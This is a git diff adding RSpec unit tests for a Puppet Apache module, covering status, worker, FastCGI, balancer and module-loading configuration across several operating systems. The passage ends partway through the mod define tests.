diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/shib_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/shib_spec.rb new file mode 100644 index 000000000..a651c280a --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/shib_spec.rb @@ -0,0 +1,42 @@ +require 'spec_helper' + +describe 'apache::mod::shib', :type => :class do + it_behaves_like "a mod class, without including apache" + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :fqdn => 'test.example.com', + :is_pe => false, + } + end + describe 'with no parameters' do + it { should contain_apache__mod('shib2').with_id('mod_shib') } + end + end + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :fqdn => 'test.example.com', + :is_pe => false, + } + end + describe 'with no parameters' do + it { should contain_apache__mod('shib2').with_id('mod_shib') } + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/speling_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/speling_spec.rb new file mode 100644 index 000000000..b4844ec74 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/speling_spec.rb @@ -0,0 +1,37 @@ +require 'spec_helper' + +describe 'apache::mod::speling', :type => :class do + it_behaves_like "a mod class, without including apache" + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_apache__mod('speling') } + end + + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_apache__mod('speling') } + end +end diff --git a/modules/services/unix/http/apache/spec/classes/mod/ssl_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/ssl_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/ssl_spec.rb rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/ssl_spec.rb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/status_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/status_spec.rb new file mode 100644 index 000000000..7bc7831fb --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/status_spec.rb @@ -0,0 +1,205 @@ +require 'spec_helper' + +# Helper function for testing the contents of `status.conf` +def status_conf_spec(allow_from, extended_status, status_path) + it do + is_expected.to contain_file("status.conf").with_content( + "\n"\ + " SetHandler server-status\n"\ + " Order deny,allow\n"\ + " Deny from all\n"\ + " Allow from #{Array(allow_from).join(' ')}\n"\ + "\n"\ + "ExtendedStatus #{extended_status}\n"\ + "\n"\ + "\n"\ + " # Show Proxy LoadBalancer status in mod_status\n"\ + " ProxyStatus On\n"\ + "\n" + ) + end +end + +describe 'apache::mod::status', :type => :class do + it_behaves_like "a mod class, without including apache" + + context "default configuration with parameters" do + context "on a Debian OS with default params" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + it { is_expected.to contain_apache__mod("status") } + + status_conf_spec(["127.0.0.1", "::1"], "On", "/server-status") + + it { is_expected.to contain_file("status.conf").with({ + :ensure => 'file', + :path => '/etc/apache2/mods-available/status.conf', + } ) } + + it { is_expected.to contain_file("status.conf symlink").with({ + :ensure => 'link', + :path => '/etc/apache2/mods-enabled/status.conf', + } ) } + + end + + context "on a RedHat OS with default params" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + it { is_expected.to contain_apache__mod("status") } + + status_conf_spec(["127.0.0.1", "::1"], "On", "/server-status") + + it { is_expected.to contain_file("status.conf").with_path("/etc/httpd/conf.d/status.conf") } + + end + + context "with custom parameters $allow_from => ['10.10.10.10','11.11.11.11'], $extended_status => 'Off', $status_path => '/custom-status'" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + let :params do + { + :allow_from => ['10.10.10.10','11.11.11.11'], + :extended_status => 'Off', + :status_path => '/custom-status', + } + end + + status_conf_spec(["10.10.10.10", "11.11.11.11"], "Off", "/custom-status") + + end + + context "with valid parameter type $allow_from => ['10.10.10.10']" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + let :params do + { :allow_from => ['10.10.10.10'] } + end + it 'should expect to succeed array validation' do + expect { + is_expected.to contain_file("status.conf") + }.not_to raise_error() + end + end + + context "with invalid parameter type $allow_from => '10.10.10.10'" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + let :params do + { :allow_from => '10.10.10.10' } + end + it 'should expect to fail array validation' do + expect { + is_expected.to contain_file("status.conf") + }.to raise_error(Puppet::Error) + end + end + + # Only On or Off are valid options + ['On', 'Off'].each do |valid_param| + context "with valid value $extended_status => '#{valid_param}'" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + let :params do + { :extended_status => valid_param } + end + it 'should expect to succeed regular expression validation' do + expect { + is_expected.to contain_file("status.conf") + }.not_to raise_error() + end + end + end + + ['Yes', 'No'].each do |invalid_param| + context "with invalid value $extended_status => '#{invalid_param}'" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + let :params do + { :extended_status => invalid_param } + end + it 'should expect to fail regular expression validation' do + expect { + is_expected.to contain_file("status.conf") + }.to raise_error(Puppet::Error) + end + end + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/suphp_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/suphp_spec.rb new file mode 100644 index 000000000..71dbab30e --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/suphp_spec.rb @@ -0,0 +1,38 @@ +require 'spec_helper' + +describe 'apache::mod::suphp', :type => :class do + it_behaves_like "a mod class, without including apache" + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_package("libapache2-mod-suphp") } + end + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_package("mod_suphp") } + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/worker_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/worker_spec.rb new file mode 100644 index 000000000..9d0d8e5e0 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/worker_spec.rb @@ -0,0 +1,189 @@ +require 'spec_helper' + +describe 'apache::mod::worker', :type => :class do + let :pre_condition do + 'class { "apache": mpm_module => false, }' + end + context "on a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.not_to contain_apache__mod('worker') } + it { is_expected.to contain_file("/etc/apache2/mods-available/worker.conf").with_ensure('file') } + it { is_expected.to contain_file("/etc/apache2/mods-enabled/worker.conf").with_ensure('link') } + + context "with Apache version < 2.4" do + let :params do + { + :apache_version => '2.2', + } + end + + it { is_expected.not_to contain_file("/etc/apache2/mods-available/worker.load") } + it { is_expected.not_to contain_file("/etc/apache2/mods-enabled/worker.load") } + + it { is_expected.to contain_package("apache2-mpm-worker") } + end + + context "with Apache version >= 2.4" do + let :params do + { + :apache_version => '2.4', + } + end + + it { is_expected.to contain_file("/etc/apache2/mods-available/worker.load").with({ + 'ensure' => 'file', + 'content' => "LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so\n" + }) + } + it { is_expected.to contain_file("/etc/apache2/mods-enabled/worker.load").with_ensure('link') } + end + end + context "on a RedHat OS" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.not_to contain_apache__mod('worker') } + it { is_expected.to contain_file("/etc/httpd/conf.d/worker.conf").with_ensure('file') } + + context "with Apache version < 2.4" do + let :params do + { + :apache_version => '2.2', + } + end + + it { is_expected.to contain_file_line("/etc/sysconfig/httpd worker enable").with({ + 'require' => 'Package[httpd]', + }) + } + end + + context "with Apache version >= 2.4" do + let :params do + { + :apache_version => '2.4', + } + end + + it { is_expected.not_to contain_apache__mod('event') } + + it { is_expected.to contain_file("/etc/httpd/conf.d/worker.load").with({ + 'ensure' => 'file', + 'content' => "LoadModule mpm_worker_module modules/mod_mpm_worker.so\n", + }) + } + end + end + context "on a FreeBSD OS" do + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '9', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.not_to contain_apache__mod('worker') } + it { is_expected.to contain_file("/usr/local/etc/apache24/Modules/worker.conf").with_ensure('file') } + end + context "on a Gentoo OS" do + let :facts do + { + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + it { is_expected.to contain_class("apache::params") } + it { is_expected.not_to contain_apache__mod('worker') } + it { is_expected.to contain_file("/etc/apache2/modules.d/worker.conf").with_ensure('file') } + end + + # Template config doesn't vary by distro + context "on all distros" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystem => 'CentOS', + :operatingsystemrelease => '6', + :kernel => 'Linux', + :id => 'root', + :concat_basedir => '/dne', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + context 'defaults' do + it { should contain_file('/etc/httpd/conf.d/worker.conf').with(:content => /^$/) } + it { should contain_file('/etc/httpd/conf.d/worker.conf').with(:content => /^\s+ServerLimit\s+25$/) } + it { should contain_file('/etc/httpd/conf.d/worker.conf').with(:content => /^\s+StartServers\s+2$/) } + it { should contain_file('/etc/httpd/conf.d/worker.conf').with(:content => /^\s+MaxClients\s+150$/) } + it { should contain_file('/etc/httpd/conf.d/worker.conf').with(:content => /^\s+MinSpareThreads\s+25$/) } + it { should contain_file('/etc/httpd/conf.d/worker.conf').with(:content => /^\s+MaxSpareThreads\s+75$/) } + it { should contain_file('/etc/httpd/conf.d/worker.conf').with(:content => /^\s+ThreadsPerChild\s+25$/) } + it { should contain_file('/etc/httpd/conf.d/worker.conf').with(:content => /^\s+MaxRequestsPerChild\s+0$/) } + it { should contain_file('/etc/httpd/conf.d/worker.conf').with(:content => /^\s+ThreadLimit\s+64$/) } + it { should contain_file("/etc/httpd/conf.d/worker.conf").with(:content => /^\s*ListenBacklog\s*511/) } + end + + context 'setting params' do + let :params do + { + :serverlimit => 10, + :startservers => 11, + :maxclients => 12, + :minsparethreads => 13, + :maxsparethreads => 14, + :threadsperchild => 15, + :maxrequestsperchild => 16, + :threadlimit => 17, + :listenbacklog => 8, + } + end + it { should contain_file('/etc/httpd/conf.d/worker.conf').with(:content => /^$/) } + it { should contain_file('/etc/httpd/conf.d/worker.conf').with(:content => /^\s+ServerLimit\s+10$/) } + it { should contain_file('/etc/httpd/conf.d/worker.conf').with(:content => /^\s+StartServers\s+11$/) } + it { should contain_file('/etc/httpd/conf.d/worker.conf').with(:content => /^\s+MaxClients\s+12$/) } + it { should contain_file('/etc/httpd/conf.d/worker.conf').with(:content => /^\s+MinSpareThreads\s+13$/) } + it { should contain_file('/etc/httpd/conf.d/worker.conf').with(:content => /^\s+MaxSpareThreads\s+14$/) } + it { should contain_file('/etc/httpd/conf.d/worker.conf').with(:content => /^\s+ThreadsPerChild\s+15$/) } + it { should contain_file('/etc/httpd/conf.d/worker.conf').with(:content => /^\s+MaxRequestsPerChild\s+16$/) } + it { should contain_file('/etc/httpd/conf.d/worker.conf').with(:content => /^\s+ThreadLimit\s+17$/) } + it { should contain_file("/etc/httpd/conf.d/worker.conf").with(:content => /^\s*ListenBacklog\s*8/) } + end + end +end diff --git a/modules/services/unix/http/apache/spec/classes/mod/wsgi_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/wsgi_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/mod/wsgi_spec.rb rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/mod/wsgi_spec.rb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/params_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/params_spec.rb new file mode 100644 index 000000000..32ccd313c --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/params_spec.rb @@ -0,0 +1,22 @@ +require 'spec_helper' + +describe 'apache::params', :type => :class do + context "On a Debian OS" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + it { is_expected.to compile.with_all_deps } + it { is_expected.to have_resource_count(0) } + end +end diff --git a/modules/services/unix/http/apache/spec/classes/service_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/service_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/classes/service_spec.rb rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/service_spec.rb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/vhosts_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/vhosts_spec.rb new file mode 100644 index 000000000..322007940 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/classes/vhosts_spec.rb @@ -0,0 +1,35 @@ +require 'spec_helper' + +describe 'apache::vhosts', :type => :class do + context 'on all OSes' do + let :facts do + { + :id => 'root', + :kernel => 'Linux', + :osfamily => 'RedHat', + :operatingsystem => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + context 'with custom vhosts parameter' do + let :params do { + :vhosts => { + 'custom_vhost_1' => { + 'docroot' => '/var/www/custom_vhost_1', + 'port' => '81', + }, + 'custom_vhost_2' => { + 'docroot' => '/var/www/custom_vhost_2', + 'port' => '82', + }, + }, + } + end + it { is_expected.to contain_apache__vhost('custom_vhost_1') } + it { is_expected.to contain_apache__vhost('custom_vhost_2') } + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/balancer_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/balancer_spec.rb new file mode 100644 index 000000000..3b43e3fd7 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/balancer_spec.rb @@ -0,0 +1,72 @@ +require 'spec_helper' + +describe 'apache::balancer', :type => :define do + let :title do + 'myapp' + end + let :facts do + { + :osfamily => 'Debian', + :operatingsystem => 'Debian', + :operatingsystemrelease => '6', + :lsbdistcodename => 'squeeze', + :id => 'root', + :concat_basedir => '/dne', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :kernel => 'Linux', + :is_pe => false, + } + end + describe 'apache pre_condition with defaults' do + let :pre_condition do + 'include apache' + end + describe "accept a target parameter and use it" do + let :params do + { + :target => '/tmp/myapp.conf' + } + end + it { should contain_concat('apache_balancer_myapp').with({ + :path => "/tmp/myapp.conf", + })} + it { should_not contain_apache__mod('slotmem_shm') } + it { should_not contain_apache__mod('lbmethod_byrequests') } + end + context "on jessie" do + let(:facts) { super().merge({ + :operatingsystemrelease => '8', + :lsbdistcodename => 'jessie', + }) } + it { should contain_apache__mod('slotmem_shm') } + it { should contain_apache__mod('lbmethod_byrequests') } + end + end + describe 'apache pre_condition with conf_dir set' do + let :pre_condition do + 'class{"apache": + confd_dir => "/junk/path" + }' + end + it { should contain_concat('apache_balancer_myapp').with({ + :path => "/junk/path/balancer_myapp.conf", + })} + end + + describe 'with lbmethod and with apache::mod::proxy_balancer::apache_version set' do + let :pre_condition do + 'class{"apache::mod::proxy_balancer": + apache_version => "2.4" + }' + end + let :params do + { + :proxy_set => { + 'lbmethod' => 'bytraffic', + }, + } + end + it { should contain_apache__mod('slotmem_shm') } + it { should contain_apache__mod('lbmethod_bytraffic') } + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/balancermember_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/balancermember_spec.rb new file mode 100644 index 000000000..6221290a2 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/balancermember_spec.rb @@ -0,0 +1,61 @@ +require 'spec_helper' + +describe 'apache::balancermember', :type => :define do + let :pre_condition do + 'include apache' + end + let :facts do + { + :osfamily => 'Debian', + :operatingsystem => 'Debian', + :operatingsystemrelease => '6', + :lsbdistcodename => 'squeeze', + :id => 'root', + :concat_basedir => '/dne', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :kernel => 'Linux', + :is_pe => false, + } + end + describe "allows multiple balancermembers with the same url" do + let :pre_condition do + 'include apache + apache::balancer {"balancer":} + apache::balancer {"balancer-external":} + apache::balancermember {"http://127.0.0.1:8080-external": url => "http://127.0.0.1:8080/", balancer_cluster => "balancer-external"} + ' + end + let :title do + 'http://127.0.0.1:8080/' + end + let :params do + { + :options => [], + :url => 'http://127.0.0.1:8080/', + :balancer_cluster => 'balancer-internal' + } + end + it { should contain_concat__fragment('BalancerMember http://127.0.0.1:8080/') } + end + describe "allows balancermember with a different target" do + let :pre_condition do + 'include apache + apache::balancer {"balancername": target => "/etc/apache/balancer.conf"} + apache::balancermember {"http://127.0.0.1:8080-external": url => "http://127.0.0.1:8080/", balancer_cluster => "balancername"} + ' + end + let :title do + 'http://127.0.0.1:8080/' + end + let :params do + { + :options => [], + :url => 'http://127.0.0.1:8080/', + :balancer_cluster => 'balancername' + } + end + it { should contain_concat__fragment('BalancerMember http://127.0.0.1:8080/').with({ + :target => "apache_balancer_balancername", + })} + end +end diff --git a/modules/services/unix/http/apache/spec/defines/custom_config_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/custom_config_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/defines/custom_config_spec.rb rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/custom_config_spec.rb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/fastcgi_server_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/fastcgi_server_spec.rb new file mode 100644 index 000000000..e415461cc --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/fastcgi_server_spec.rb @@ -0,0 +1,156 @@ +require 'spec_helper' + +describe 'apache::fastcgi::server', :type => :define do + let :pre_condition do + 'include apache' + end + let :title do + 'www' + end + describe 'os-dependent items' do + context "on RedHat based systems" do + let :default_facts do + { + :osfamily => 'RedHat', + :operatingsystem => 'CentOS', + :operatingsystemrelease => '6', + :kernel => 'Linux', + :id => 'root', + :concat_basedir => '/dne', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + let :facts do default_facts end + it { should contain_class("apache") } + it { should contain_class("apache::mod::fastcgi") } + it { should contain_file("fastcgi-pool-#{title}.conf").with( + :ensure => 'present', + :path => "/etc/httpd/conf.d/fastcgi-pool-#{title}.conf" + ) } + end + context "on Debian based systems" do + let :default_facts do + { + :osfamily => 'Debian', + :operatingsystem => 'Debian', + :operatingsystemrelease => '6', + :lsbdistcodename => 'squeeze', + :kernel => 'Linux', + :id => 'root', + :concat_basedir => '/dne', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + let :facts do default_facts end + it { should contain_class("apache") } + it { should contain_class("apache::mod::fastcgi") } + it { should contain_file("fastcgi-pool-#{title}.conf").with( + :ensure => 'present', + :path => "/etc/apache2/conf.d/fastcgi-pool-#{title}.conf" + ) } + end + context "on FreeBSD systems" do + let :default_facts do + { + :osfamily => 'FreeBSD', + :operatingsystem => 'FreeBSD', + :operatingsystemrelease => '9', + :kernel => 'FreeBSD', + :id => 'root', + :concat_basedir => '/dne', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + let :facts do default_facts end + it { should contain_class("apache") } + it { should contain_class("apache::mod::fastcgi") } + it { should contain_file("fastcgi-pool-#{title}.conf").with( + :ensure => 'present', + :path => "/usr/local/etc/apache24/Includes/fastcgi-pool-#{title}.conf" + ) } + end + context "on Gentoo systems" do + let :default_facts do + { + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :kernel => 'Linux', + :id => 'root', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + let :facts do default_facts end + it { should contain_class("apache") } + it { should contain_class("apache::mod::fastcgi") } + it { should contain_file("fastcgi-pool-#{title}.conf").with( + :ensure => 'present', + :path => "/etc/apache2/conf.d/fastcgi-pool-#{title}.conf" + ) } + end + end + describe 'os-independent items' do + let :facts do + { + :osfamily => 'Debian', + :operatingsystem => 'Debian', + :operatingsystemrelease => '6', + :lsbdistcodename => 'squeeze', + :kernel => 'Linux', + :id => 'root', + :concat_basedir => '/dne', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + describe ".conf content using TCP communication" do + let :params do + { + :host => '127.0.0.1:9001', + :timeout => 30, + :flush => true, + :faux_path => '/var/www/php-www.fcgi', + :fcgi_alias => '/php-www.fcgi', + :file_type => 'application/x-httpd-php', + :pass_header => 'Authorization' + } + end + let :expected do +'FastCGIExternalServer /var/www/php-www.fcgi -idle-timeout 30 -flush -host 127.0.0.1:9001 -pass-header Authorization +Alias /php-www.fcgi /var/www/php-www.fcgi +Action application/x-httpd-php /php-www.fcgi +' + end + it do + should contain_file("fastcgi-pool-www.conf").with_content(expected) + end + end + describe ".conf content using socket communication" do + let :params do + { + :host => '/var/run/fcgi.sock', + :timeout => 30, + :flush => true, + :faux_path => '/var/www/php-www.fcgi', + :fcgi_alias => '/php-www.fcgi', + :file_type => 'application/x-httpd-php' + } + end + let :expected do +'FastCGIExternalServer /var/www/php-www.fcgi -idle-timeout 30 -flush -socket /var/run/fcgi.sock +Alias /php-www.fcgi /var/www/php-www.fcgi +Action application/x-httpd-php /php-www.fcgi +' + end + it do + should contain_file("fastcgi-pool-www.conf").with_content(expected) + end + end + + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/mod_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/mod_spec.rb new file mode 100644 index 000000000..1697190a3 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/mod_spec.rb @@ -0,0 +1,166 @@ +require 'spec_helper' + +describe 'apache::mod', :type => :define do + let :pre_condition do + 'include apache' + end + context "on a RedHat osfamily" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + describe "for non-special modules" do + let :title do + 'spec_m' + end + it { is_expected.to contain_class("apache::params") } + it "should manage the module load file" do + is_expected.to contain_file('spec_m.load').with({ + :path => '/etc/httpd/conf.d/spec_m.load', + :content => "LoadModule spec_m_module modules/mod_spec_m.so\n", + :owner => 'root', + :group => 'root', + :mode => '0644', + } ) + end + end + + describe "with file_mode set" do + let :pre_condition do + "class {'::apache': file_mode => '0640'}" + end + let :title do + 'spec_m' + end + it "should manage the module load file" do + is_expected.to contain_file('spec_m.load').with({ + :mode => '0640', + } ) + end + end + + describe "with shibboleth module and package param passed" do + # name/title for the apache::mod define + let :title do + 'xsendfile' + end + # parameters + let(:params) { {:package => 'mod_xsendfile'} } + + it { is_expected.to contain_class("apache::params") } + it { is_expected.to contain_package('mod_xsendfile') } + end + end + + context "on a Debian osfamily" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + describe "for non-special modules" do + let :title do + 'spec_m' + end + it { is_expected.to contain_class("apache::params") } + it "should manage the module load file" do + is_expected.to contain_file('spec_m.load').with({ + :path => '/etc/apache2/mods-available/spec_m.load', + :content => "LoadModule spec_m_module /usr/lib/apache2/modules/mod_spec_m.so\n", + :owner => 'root', + :group => 'root', + :mode => '0644', + } ) + end + it "should link the module load file" do + is_expected.to contain_file('spec_m.load symlink').with({ + :path => '/etc/apache2/mods-enabled/spec_m.load', + :target => '/etc/apache2/mods-available/spec_m.load', + :owner => 'root', + :group => 'root', + :mode => '0644', + } ) + end + end + end + + context "on a FreeBSD osfamily" do + let :facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '9', + :concat_basedir => '/dne', + :operatingsystem => 'FreeBSD', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + + describe "for non-special modules" do + let :title do + 'spec_m' + end + it { is_expected.to contain_class("apache::params") } + it "should manage the module load file" do + is_expected.to 